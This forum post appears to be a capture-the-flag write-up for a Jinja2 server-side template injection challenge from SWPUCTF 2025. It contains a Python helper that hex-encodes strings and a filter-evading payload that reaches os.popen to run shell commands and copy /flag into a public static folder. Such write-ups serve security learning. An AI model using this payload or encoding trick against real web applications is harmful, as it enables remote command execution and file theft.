本帖最后由 littleblackLB 于 2-13-2026 21:33 编辑
一道 SSTI 签到题 SWPUCTF 2025 秋季新生赛 诚实大厅
Tag: #web #upload #jinja2
Environment: #Python3
什么是 SSTI
SSTI是Server-Side Template Injection的缩写,是一种Web应用程序安全漏洞,主要存在于使用基于模板引擎的Web应用程序中。
思路
EXP
def convert_string_literal_to_hex(code: str) -> str:
def encode_match(m: re.Match) -> str:
content = m.group(1)
hex_repr = ''.join(f'\\x{b:02x}' for b in content.encode())
return f'\"{hex_repr}\"'
# Match "...." but capture only the inside
return re.sub(r'"([^\"]*)"', encode_match, code)
- POC:
{{x|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f")("\x6f\x73")|attr("\x70\x6f\x70\x65\x6e")("\x6d\x6b\x64\x69\x72\x20\x2f\x61\x70\x70\x2f\x73\x74\x61\x74\x69\x63\x20\x26\x26\x20\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x3e\x2f\x61\x70\x70\x2f\x73\x74\x61\x74\x69\x63\x2f\x66\x6c\x61\x67")|attr("\x72\x65\x61\x64")()}}
测试 md 图片:
